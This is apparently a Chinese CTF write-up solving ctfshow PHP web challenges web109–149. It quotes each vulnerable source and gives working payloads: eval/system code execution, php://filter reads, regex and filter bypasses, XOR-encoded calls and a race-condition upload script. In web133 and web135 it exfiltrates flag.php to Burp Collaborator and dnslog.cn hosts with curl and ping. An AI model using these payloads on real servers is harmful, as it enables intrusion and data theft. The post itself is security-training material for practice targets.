1 ?v1=class { public function __construct(){ system ('ls' ); } };&v2=a
Exception 异常处理类
1 ?v1=Exception &v2=system ('tac fl36dg.txt' )
反射类
1 ?v1=Reflectionclass&v2 =system ('tac fl36dg.txt' )
web110 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); }?>
可以用原生类 FilesystemIterator 获取指定目录下的所有文件,用getcwd()函数 获取当前工作目录
1 ?v1 =FilesystemIterator &v2 =getcwd
再去访问fl36dga.txt
web111 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); }if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } }?>
还是变量覆盖,利用全局变量来进行赋值给ctfshow这个变量 payload:
web112 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } }$file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
避开那些匹配的字符就好了
1 2 3 4 php:// filter/resource=flag.php php:// filter/convert.iconv.UCS-2LE.UCS-2BE/ resource=flag.php php:// filter/read=convert.quoted-printable-encode/ resource=flag.php compress.zlib:// flag.php
web113 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } }$file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
1 compress.zlib:// flag.php
还可以利用函数所能处理的长度限制进行目录溢出,让is_file文件认为flag.php不是文件
1 2 3 4 5 /proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ p roc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/pro c/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/se lf/root/ proc/self/ root/var/ www/html/ flag.php
web114 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );function filter ($file ) { if (preg_match ('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } }$file =$_GET ['file' ];echo "师傅们居然tql都是非预期 哼!" ;if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
又不禁filter了
1 ?file=php:// filter/resource=flag.php
web115 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; }$num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
trim() 函数移除字符串两侧的空白字符或其他预定义字符
数字的前面加上%09 %0a %0b %0c %0d任意一个都能绕过is_numeric,但trim() 会去除空格符,制表符,换行符,回车符,空字节符,垂直制表符,所以就剩%0c了
csdn找的fuzz脚本:
1 2 3 4 5 6 7 8 <?php for ($i = 0 ; $i <129 ; $i ++){ $num =chr ($i ).'36' ; if (trim ($num )!=='36' && is_numeric ($num ) && $num !=='36' ){ echo urlencode (chr ($i ))."\n" ; } }?>
web123 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }?>
新知识:
1 在php中变量名只有数字字母下划线,被get 或者post传入的变量名,如果含有空格、+、[则会被转化为_ ,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_ 之后,后面的字符就会被保留下来不会被替换
直接用eval去输出flag就可以了
1 CTF_SHOW=&CTF[SHOW.COM=&fun =echo $flag
web125 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }?>
1 GET:?1 =flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun =highlight_file ($_GET[1 ])
用highlight_file($_GET[1])去绕过对flag过滤的限制
另一种方法:
1 CTF_SHOW=&CTF[SHOW.COM=&fun =extract ($__POST) &fl0g=flag_give_me
web126 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
官方解释:
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的 array。这个数组中的条目由 Web 服务器创建,所以不能保证每个 Web 服务器都提供全部条目;服务器可能会忽略一些,或者提供此处没有列举出来的其它内容。然而,大部分变量在 » CGI 1.1 规范 中都有说明,并且很可能会定义。
‘argv ‘传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
这里a是传入argv的一个参数,被当做一个数组传入进去,数组他是以空格进行分割的,比如ls /-a,(斜杠前面有个空格),ls就是argv[0],/-a就是argv[2],这一题就是利用这一个性质,parse_str输出的是argv的第2个数组恰好就是加号(+会被解析成空格嘛)后面的就只要了fl0g=flag_give_me
所以构造:(这里得parse_str换成eval也可以)
1 2 GET:?a=1 +fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun =parse_str ($a[1 ])
assert用法和 eval()一样
1 2 GET :?$ fl0g=flag_give_me POST :CTF_SHOW=&CTF [SHOW .COM =&fun=assert($a [0 ])
web127 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } }if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); }if ($ctf_show ==='ilove36d' ){ echo $flag ; }
‘QUERY_STRING’ query string(查询字符串),如果有的话,通过它进行页面访问。
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
所以执行ctf_show=ilove36d就行了,但是_被过滤了,所以可以用空格代替,或者url编码一次
1 2 ?ctf show =ilove36d ?ctf%5fshow =ilove36d
web128 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; }function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); } NULL
_()是一个函数。
_()==gettext() 是gettext()的拓展函数,开启text扩展,需要php扩展目录下有php_gettext.dll。get_defined_vars:返回由所有已定义变量所组成的数组。这样就可以获得 $flag
call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。
当正常的gettext(“get_defined_vars”);时会返还get_defined_vars,为了绕过正则,_()函数和gettext()的效果一样, 所以可以用 _()函数代替gettext()函数。
call_user_func会利用_()将get_defined_vars返还出来然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。
1 ?f1 =_ &f2 =get_defined_vars
web129 1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' )>0 ){ echo readfile ($f ); } }
strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
strrpos()找字符串在另一字符串中最后一次出现的位置(区分大小写)
stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strripos()查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
可以利用php伪协议可以套一层协议,无效的话会被忽略。
1 ?f=php:// filter/ctfshow/ resource=flag.php
也可以用目录穿越
1 2 ?f=./ctfshow/ ../flag.php ?f=/ctfshow/ ../../ ../../ var/www/ html/flag.php
web130 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
任意字符(.
):表示可以匹配除换行符之外的任意字符。
重复一次或多次(+
):表示前面的字符(.
)至少出现一次或更多次。
非贪婪模式(?
):表示尽可能少地匹配字符,以防止匹配过多的内容。
匹配了以ctfshow结尾的字符,同时还需要在ctfshow有任意字符,所以可以直接绕过
还可以利用回溯限制来绕过:PHP利用PCRE回溯次数限制绕过某些安全限制
1 2 3 4 5 6 7 8 9 import requests url='http://c46a6ba8-bd2e-426b-a18a-b8e4ba72ff95.challenge.ctf.show/' data={ 'f' :'a' *1000000 +'ctfshow' } r=requests.post(url=url,data=data).textprint (r)
web131 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
1 2 3 4 5 6 7 8 import requests url='http://c46a6ba8-bd2e-426b-a18a-b8e4ba72ff95.challenge.ctf.show/' data={ 'f' :'a' *1000000 +'36Dctfshow' } r=requests.post(url=url,data=data).textprint (r)
web132 扫描发现/admin路径,发现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
之前提到过运算符优先级:&& > || > = > and > or
所以只需要满足$username ===”admin”就能通过 if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”)了
1 ?code=admin &password =&username=admin
web133 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
限制了只能6个字符,``是shell_exec()函数的缩写。考虑变量覆盖
1 2 3 4 ?F=`$F ` 取前6 个字母正好是`$F ` eval(`$F ` `` $F ` ;ls;`
因此后面的命令可以随意构造。不过反引号``是没有回显的,需要弹shell或者用curl。
curl -F 将flag文件上传到Burp的 Collaborator Client https://blog.csdn.net/qq_46091464/article/details/109095382
1 2 3 4 5 ?F=`$F `;+curl -X POST -F xx=@flag.php http:// pf8rq4eq3w27y0p7yeabxhel7cdb10.burpcollaborator.net
还有另一种方法可以利用curl去带出来flag.php,在DNSLog Platform 这个网站先创建一个域名
1 ?F=`$F`;空格curl`cat flag.php|grep "flag" `.当时创建的域名
然后刷新一下就可以了
web134 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]);extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
变量覆盖,利用parse_str把$_POST
给覆盖掉
web135 web133plus
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
这次过滤了curl、grep等,
可以用
1 ?F=`$F `;cp flag.php 1 .txt
也可以改用ping,在DNSLog Platform 这个网站先创建一个域名,然后awk NR一排一排的获得数据(一会儿可以一会儿不行,欸)
1 ?F=`$F `;+ping `nl flag.php|awk '/flag/' |tr -cd "[a-z]" /"[0-9]" /"{" /"}" /"-" `.bum9fh.dnslog.cn -c 1
后来发现flag不对,删掉中间的16flag2就可以了。换这个
1 ?F=`$F `;+ping `nl flag.php|awk 'NR==16' |tr -cd "[a-z]" /"[0-9]" /"{" /"-" /"}" `.jrxvto.dnslog.cn -c 1
web136 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } }if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); }else { highlight_file (__FILE__ ); }?>
exec函数可以用来执行外部命令
tee函数 在两个管道文件描述符之间复制数据,也是零拷贝操作
1 2 ls /|tee 1 cat /f149_15_h3r3|tee 2
依此访问文件1和2
web137 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } }call_user_func ($_POST ['ctfshow' ])
1 ctfshow =ctfshow::getFlag
双冒号::
是用于访问类的静态成员(属性和方法)的操作符。它被称为”范围解析操作符”
web138 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } }if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); }call_user_func ($_POST ['ctfshow' ]);
call_user_func中数组也能调用类
1 ctfshow [0 ]=ctfshow&ctfshow[1 ]=getFlag
web139 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } }if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); }else { highlight_file (__FILE__ ); }?>
看起来跟web136没变化,但是不能写入文件了,也就是之前的方法不能用了
只能用盲注了:
ls / -1,结果自动换行*
ls / -1 | awk “NR==1”,取第一行
ls / -1 | awk “NR==1” | cut -c 1,取第一行第一个字符
命令
,返回命令的结果
if [ ls / -1 | awk "NR==1" | cut -c 1
== “b” ];then sleep 5;fi,如果ls第一个字符为b则延迟5秒(一些位置空格必须有)
抄一下大佬的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c=' payload = '''if [ `ls / -1 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi''' max_NR = 5 max_c = 13 chars = 'abcdefghijklmnopqrstuvwxyz0123456789_-.' for NR in range (1 , max_NR): for c in range (1 , max_c): for char in chars: try : requests.get(url+payload.format (NR, c, char), timeout = 3 ) except : print (char, end = '' ) break print ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c=' payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi''' max_NR = 2 max_c = 50 chars = 'ctfshow{0123456789abcdefg-}' for NR in range (1 , max_NR): for c in range (1 , max_c): for char in chars: try : requests.get(url+payload.format (NR, c, char), timeout = 3 ) except : print (char, end = '' ) break print ()
web140 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String)$_POST ['f1' ]; $f2 = (String)$_POST ['f2' ]; if (preg_match ('/^[a-z0-9]+$/' , $f1 )){ if (preg_match ('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval ($code ) == 'ctfshow' ){ echo file_get_contents ("flag.php" ); } } } }
令intval($code)等于0或false或NULL的就可以了
1 2 3 4 5 6 md5 (phpinfo() )md5 (sleep() )md5 (md5() )current (localeconv) sha1 (getcwd() ) usleep (usleep)
web141 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
数字和运算符是可以一起执行命令的,如1+phpinfo()+1;
是可以显示phpinfo页面的
匹配非数字字母下划线的字符无字母数字绕过正则表达式总结
异或:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php $myfile = fopen ("xor_rce.txt" , "w" ); $contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[a-z0-9]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )^urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport urllibfrom sys import *import os os.system("php rce_or.php" )def action (arg ): s1="" s2="" for i in arg: f=open ("xor_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
1 ?v1=1 &v3=-("%08%02%08%08%05%0d" ^"%7b%7b%7b%7c%60%60" )("%08%01%03%00%06%00" ^"%7c%60%60%20%60%2a" );&v2=1
命令前加一些 + - * / 之类的,让它顺利执行
web142 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){ $v1 = (String)$_GET ['v1' ]; if (is_numeric ($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep ($d ); echo file_get_contents ("flag.php" ); } }
直接传0就行了
web143 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
过滤了;
可以用?>
代替;
,换一下之前php代码的匹配字符/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i
再运行一遍就可以了
1 ?v1=1 &v3=*("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0b%01%03%00%06%00" ^"%7f%60%60%20%60%2a" )?>&v2=1
web144 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && check ($v3 )){ if (preg_match ('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }function check ($str ) { return strlen ($str )===1 ?true :false ; }
限制了v3的长度为1
1 ?v1=1 &v2=*("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0b%01%03%00%06%00" ^"%7f%60%60%20%60%2a" )?>&v3=1
web145 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String)$_GET ['v1' ]; $v2 = (String)$_GET ['v2' ]; $v3 = (String)$_GET ['v3' ]; if (is_numeric ($v1 ) && is_numeric ($v2 )){ if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
过滤了^
,但没过滤|
可以通过或运算,过滤了""
换成''
1 ?v1 = 1 &v2 = 1 &v3 = |('%13 %19 %13 %14 %05 %0 d'|'%60 %60 %60 %60 %60 %60 ')('%14 %01 %03 %00 %06 %02 '|'%60 %60 %60 %20 %60 %28 ')|
看别人是格式需要1|()|2
或者1?()2
,
web146 1 ?v1 = 1 &v2 = 1 &v3 = |('%13 %19 %13 %14 %05 %0 d'|'%60 %60 %60 %60 %60 %60 ')('%14 %01 %03 %00 %06 %02 '|'%60 %60 %60 %20 %60 %28 ')|
1 ?v1 = 1 &v2 = 1 &v3 = |(~%8 c %86 %8 c %8 b%9 a%92 )(~%9 c %9 e%8 b%df %99 %d5 )|
web147 1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。\
是全局命名空间
可以利用create_function()进行代码注入
1 2 GET ?show =2 ;}system ("nl flag.php");
web148 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include 'flag.php' ;if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){ die ("error" ); } @eval ($code ); }else { highlight_file (__FILE__ ); }function get_ctfshow_fl0g ( ) { echo file_get_contents ("flag.php" ); }
跟之前一样异或就好了
1 ?code=("%08%02%08%09%05%0d" ^"%7b%7b%7b%7d%60%60" )("%09%01%03%01%06%0c%01%07%01%0b%08%0b" ^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b" );
还有一种是中文变量,学到了
1 2 3 4 5 $ 哈="`{{{" ^"?<>/" ;$ {$ 哈}[哼]($ {$ 哈}[嗯]);&哼=system &嗯=tac f* 其中"`{{{" ^ "?<>/" 异或得到_GET$ 哈=_GET;$ _GET[哼]($ _GET[嗯]); ?哼=system &嗯=tac f*
web149 你写的快还是我删的快?
条件竞争,用别人写好的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # -*- coding: utf-8 -*- # @Time : 20.12.5 11:41 # @author:lonmar import io import requests import threading url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/' def write (): while event .isSet (): data = { 'show' : '<?php system("cat /ctfshow_fl0g_here.txt");?>' } requests.post(url=url+'?ctf=1.php' , data=data)def read (): while event .isSet (): response = requests.get (url + '1.php' ) if response.status_code != 404 : print(response.text) event .clear()if __name__ == "__main__" : event = threading.Event() event .set () for i in range (1 , 100 ): threading.Thread (target=write ).start () for i in range (1 , 100 ): threading.Thread (target=read ).start ()
